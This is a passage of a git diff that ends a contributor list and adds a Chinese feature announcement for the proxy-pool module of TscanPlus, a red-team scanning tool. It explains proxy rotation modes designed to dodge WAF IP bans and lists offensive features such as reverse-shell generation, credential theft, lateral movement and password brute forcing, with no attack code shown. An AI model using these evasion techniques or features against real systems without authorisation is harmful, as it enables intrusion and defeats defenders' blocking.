+@XingHuoLiaoYuanBaby: 1个

+@菜狗: 1个

+@LiPaCai: 1个

+@浮生若梦: 1个

+@Afrog: 1个

+@minghuinet: 1个

+@热河: 1个

+@Anthony: 1个

+@候鸟: 1个

+@张朝: 1个

+@soevai: 1个

+@dtset001: 1个

+@DreAm: 1个

+@Superhero-zero: 1个

+@perlh: 1个

+@zysanjing: 1个

+@L-Serim: 1个

+@:-): 1个

+@lsota1: 1个

+@Tomorrow: 1个

+@addnetghost: 1个

+@bpfmili: 1个

+@lant1s: 1个

+@Zxc123456zxc: 1个

+@P1rc4: 1个

+@Aliak15: 1个

+@weisir1: 1个

+@岁月静好: 1个

+@pplayerr: 1个

+@joonk685: 1个

+@杨帆起航: 1个

+@dactar123: 1个

+@。: 1个

+@披着羊皮的狼: 1个

+@L1ech0: 1个

+@จุ๊บ: 1个

+@goodplay: 1个

+@Cream: 1个

+@kk: 1个

+@A 阿宏: 1个

+@LiChaser: 1个

+@8201: 1个

+@sqy: 1个

+@小胖: 1个

+@Qq1111111111: 1个

+@1024548219: 1个

+@charis3306: 1个

+@CyangN: 1个

+@qingchenhh: 1个

+@hkylin: 1个

+@Finback: 1个

+@EatKfcV50: 1个

+@ysdxj: 1个

+@nonu11: 1个

+@qty567: 1个

+@sourcexu7: 1个

+@あくま: 1个

+@rain: 1个

+@忘年忘义振于无竟: 1个

+@omegazero01: 1个

+@1204554617: 1个

+@FanerAce: 1个

+@狐狸: 1个

+@Acczdy: 1个

+@xjp08: 1个

+@Narcissus: 1个

+@restart: 1个

+@哥斯拉Yvan: 1个

+@Student1: 1个

+@Atirds: 1个

+@Ashthes: 1个

+@45: 1个

+@j1dag: 1个

+@kkkyan: 1个

+@Cx330才: 1个

+@1337Player: 1个

+@Again: 1个

+@看我扭转万象: 1个

+@LittleMoonhub: 1个

+@MTY123-YF: 1个

+@Baal: 1个

+@Scappy: 1个

+@古心静典: 1个

+@starscow: 1个

+@slack: 1个

+@1: 1个

+@肖肖乐: 1个

+@SinkO: 1个

+@陳: 1个

+@方糖: 1个

+@DouLiYouTang31: 1个

+@0x4C79: 1个

+@我该叫什么: 1个

+@fitzxxx: 1个

+@ki10Moc: 1个

+@陈皮老四: 1个

+@J: 1个

+@猫哥: 1个

+@放飞梦想จุ๊บ: 1个

+@Darkid_98: 1个

+@kkbo: 1个

+@huclilu: 1个

+@wlaq-su: 1个

+@: 1个

+@RL: 1个

+@xiaojj2021: 1个

+@哈哈: 1个

+@yuwan-jpg: 1个

+@烧烤老师傅: 1个

+@六六: 1个

+@辞忧: 1个

+@ymbzd: 1个

+@WasteMaterial: 1个

+@lwjdsgz: 1个

+@jisanlong: 1个

+@Phonk: 1个

+@rkabyss: 1个

+@wvykey: 1个

+@那个少年: 1个

+@DeEpinGh0st: 1个

+@endin9: 1个

+@高歌: 1个

+@WangGang: 1个

+@一口蛋黄苏: 1个

+@nuanfeng1yue: 1个

+@清风拂杨柳: 1个

+@Thron_bird: 1个

+@咕噜咕噜: 1个

+@impdx: 1个

+@2gggggg: 1个

+@pei: 1个

+@80576560: 1个

+@下完雪🍁: 1个

+@Huck-Lim: 1个

+@sq565163: 1个

+@Lelylsj: 1个

+@Sharlong-Wen: 1个

+@Hhhnee: 1个

+@Grit: 1个

+@一起看雪: 1个

+@南: 1个

+@冰點: 1个

+@piaolingshusheng: 1个

+@LC: 1个

+@龙猫爱吃鱼: 1个

+@xg: 1个

+@rtfghd: 1个

+@qtz777: 1个

+
+ + + + + + +[url-poc-key]: POC提交及无影Key获取说明.md + diff --git a/无影代理池管理功能介绍.md b/无影代理池管理功能介绍.md new file mode 100644 index 0000000..b921465 --- /dev/null +++ b/无影代理池管理功能介绍.md @@ -0,0 +1,159 @@ + + +
+ +## 无影v2.6.5—代理池管理功能上线 + +无影(TscanPlus),一款综合性网络安全检测和运维工具,旨在快速资产发现、识别、检测,构建基础资产信息库,协助甲方安全团队或者安全运维人员有效侦察和检索资产,发现存在的薄弱点和攻击面。 + +**【主要功能】** 端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、域名探测、网络空探等。 + +**【辅助功能】** 编码解码、加密解密、CS上线、反弹shell、杀软查询、提权辅助、常用命令、字典生成等。 + +**TscanPlus 功能介绍可参考文章:《TscanPlus——一款红队自动化工具》https://mp.weixin.qq.com/s/vYB03ckGqeyDrOVVWFWkBA** + +### 1、代理池的作用 + +在网络安全测试和渗透测试工作中,维护一个高质量高便利的代理池是非常关键的一环。随着目标系统安全防护能力的不断提升,常见的安全防护措施如IP封禁、流量监控、频率限制等,给测试工作带来了诸多挑战。特别是在大规模资产探测、爬取敏感信息以及进行弱点扫描时,如果使用单一IP地址,往往会因为频繁请求而触发防护策略,导致测试无法深入开展,甚至可能暴露测试行为。 + +基于此,无影新开发了代理池管理功能模块,通过多种代理录入、多种场景切换、多种协议支持、自动验证和删除等功能,为安全测试人员提供了更便捷的代理池管理功能。 + +### 2、代理池功能介绍 + +代理池目前主要包括:添加代理、自动爬取代理、代理场景切换、代理验证、代理Listener管理等功能。 + +在开启代理Listener后,可配合不同代理切换模式,轮训、遍历代理池中的所有可用代理,提供代理给无影或其他外部应用进行使用。 + +
+ +#### 2.1 添加代理 + +添加代理包括三种方式:单个添加、批量添加、自动爬取 + +1、单个添加只需要选择代理类型,IP、端口、认证账号密码登信息,手工录入即可。 + +2、批量录入支持多协议、账号密码认证等格式批量导入。 + +``` +每行一个代理地址,格式为 type://user:pass@ip:port,例如: +http://127.0.0.1:8081、socks5://127.0.0.1:1080 +代理如需要账号密码认证,请使用: +http://user:pass@127.0.0.1:8081、socks5://user:pass@127.0.0.1:1080 +``` + +
+ +3、自动爬取功能支持从Fofa、Quake、Hunter三个空间探测平台上根据查询语法抓取免费代理。 + +配置好启用的API平台,设置抓取上限数量和查询语法即可进行抓取。(注意:key需要在空间测绘API配置中修改) + +不过免费代理的质量一般不高,所以使用时要慎重。 + +
+ +爬取成功后提示: + +
+ +
+ +#### 2.3 代理Listener管理 + +代理Listener是使用无影开启一个本地代理端口,这样无影或其他软件均可配置该代理地址来共同使用代理池。 + +开启代理Listener前需要先配置代理监听信息,如代理监听IP、端口、协议、账号密码等。 + +代理协议可以选HTTP或SOCKS5,但需要注意: + +1、HTTP类型代理:可使用代理池中所有协议的代理,包括HTTP或Socks5,但HTTP类型只能用来代理web协议,也就是没法用HTTP代理来进行端口扫描或域名枚举等。 + +2、Socks5类型代理:只能使用代理池中的Socks5代理,无法使用代理池中的HTTP类型代理,但Socks5类型代理可用来扫描端口。 + +建议根据使用场景选用不同代理类型代理。 + +
+ +配置好代理后可以直接启动,也可先把所有代理校验后再启动,这样校验失败的代理就不会消耗资源了。 + +
+ +#### 2.3 代理管理与验证 + +在代理池中添加了代理后,可对代理进行单个或批量的有效性验证,设置合适的验证网站和关键词即可,如果是纯内网代理也可设置内网验证地址。 + +如果启用了“删除无效代理”功能,那么会对已有代理进行检测,累计三次无效后自动删除该代理。 + +另外,可以对单个代理进行单独的编辑、验证、启用或禁用、删除等操作。如果代理被禁用或延时<0,那么不管哪种场景切换都不用使用该代理。 + +另外,可以在“延时”列单击两次,可对代理池根据延时进行排序。延时中显示-1的为代理访问失败,每失败次数+1,延时会-1。 + +
+ +#### 2.4 代理场景切换 + +无影的代理池管理功能根据渗透测试常见场景设计了五种切换模式: + +- 1、轮询代理模式:从代理池中依次抽选延时最小的代理,当代理无效时自动切换下一个,依次轮询。 + +- 2、根据次数更换:设定一个代理最多使用次数,比如10次,那么每个代理IP地址在使用10次后会自动切换下一个。比如有些waf可能会拦截10次攻击后就会封ip,那么可以使用这种模式来规避IP封禁。 + +- 3、根据时间更换:设定一个代理最长使用时间,比如3分钟,那么每个代理IP地址在使用3分钟后会自动切换下一个。 + +- 4、根据场景:在“代理验证”中配置合适的验证网站,当验证失败时切换下个代理。比如该网站有waf,但不确定什么时候会封ip,那么可以使用该模式,IP被封后会自动切换下一个代理。 + +- 5、固定代理:每次固定使用延时最短的代理地址,不切换IP,适用于代理质量比较高或代理较少的情况。 + +另外,在启动代理Listener后,如果切换代理模式,那么新模式会马上生效,无需重启Listener,当没有可用代理时会自动关闭Listener。 + +
+ +#### 2.5 实战使用 + +以“根据次数更换”场景为例,同时设置1次更换。在开启了代理Listener后,在浏览器中配置该代理,之后每次访问`http://myip.ipip.net/`都可发现使用了不同的代理地址。 + +https://github.com/user-attachments/assets/2a5f1fc4-c069-44df-befe-a2ddfd78089e + +我们在云VPS上开启了一个web服务,同时启用了waf功能,当请求频率较高或有攻击行为时就会封ip三分钟。 + +
+ +基于场景的代理切换模式下,可以在IP被封后自动切换IP地址。 + +https://github.com/user-attachments/assets/8b644021-51ae-4bed-9f52-5db8e4c44f66 + + + +### 3、其他已有功能 + +**【特色功能】** + +1、内置5.2W余条指纹数据,对1万个web系统进行指纹识别仅需8-10分钟,在效率和指纹覆盖面方面应该是目前较高的了。 + +2、在指纹探测结果中,对130多个红队常见CMS和框架、Poc可关联CMS进行了自动标注。内置大量高质量Poc,并可外接Nuclei、Afrog、Xray等Poc工具,可实现指纹和Poc的联动,根据指纹识别的结果自动关联Poc,并可直接查看poc数据包相关信息。 + +3、在创建IP端口扫描、Url扫描时,可关联Poc检测、密码破解、目录扫描等功能,发现匹配的服务或产品时会自动触发密码破解或poc检测。 + +4、内置34种常见服务的弱口令破解,可方便管理员对内网弱口令进行排查,为提高检测效率,优选并精简每个服务的用户名和密码字典。覆盖的服务包括:SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。 + +5、实现了编码解码、哈希计算、加密解密、国密算法、数据格式化、其他转换等共36种类型,其中编码解码类8种、哈希计算13种、加密解密9种、国密算法3种、数据格式化9种、其他2种。包含了AES、RSA、SM2、SM4、DES、3DES、Xor、RC4、Rabbit、Base64、Base32、URL、ASCII、各进制转换、字符串与进制转换、HTML、Unicode、MD5、Hmac、SM3、SHA1、SHA2、SHA3、NTLM、JSON格式化与压缩、XML格式化与压缩、IP地址与整数互转、String.fromCharCode、Unix时间戳互转、文本去除重复行、字母大小写、生成各类随机字符串、字符串反转、JWT解析与弱密码、一键解密OA等。 + +6、目录枚举默认使用HEAD方式,可对并发、超时、过滤、字典等进行自定义,内置了DirSearch的字典,可导入自己的字典文件,也可用内置字典fuzz工具进行生成。 + +7、内置各类反弹shell命令85条、Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类、下载命令31条、MSF生成命令21条、CS免杀上线命令等,可根据shell类型、操作系统类型、监听类型自动生成代码。 + +8、灵活的代理设置,可一键设置全局代理,也可以各模块单独开启代理功能,支持HTTP(S)/SOCKS5两种代理,支持身份认证。 + +9、快速的子域名探测,域名可联动其他子功能,可配置key后对接多个网络空间探测平台,一键查询去重。 + +10、内置资产分拣、JsFinder、Host碰撞、Jwt秘钥破解、IP查询、Windows提权辅助、杀软查询、shiro解密等各类工具。 + +TscanPlus 更多其他功能介绍可参考文章:《TscanPlus——一款红队自动化工具》https://mp.weixin.qq.com/s/vYB03ckGqeyDrOVVWFWkBA + +### 4、软件下载 + +Github下载:https://github.com/TideSec/Tscanplus/releases + +部分功能还在完善,目前暂不提供源码,这里打包了windows/mac版本的TscanPlus供下载。 + +本次编译的均为x64_AMD架构,有需要x86版本或ARM版的可到星球下载。 +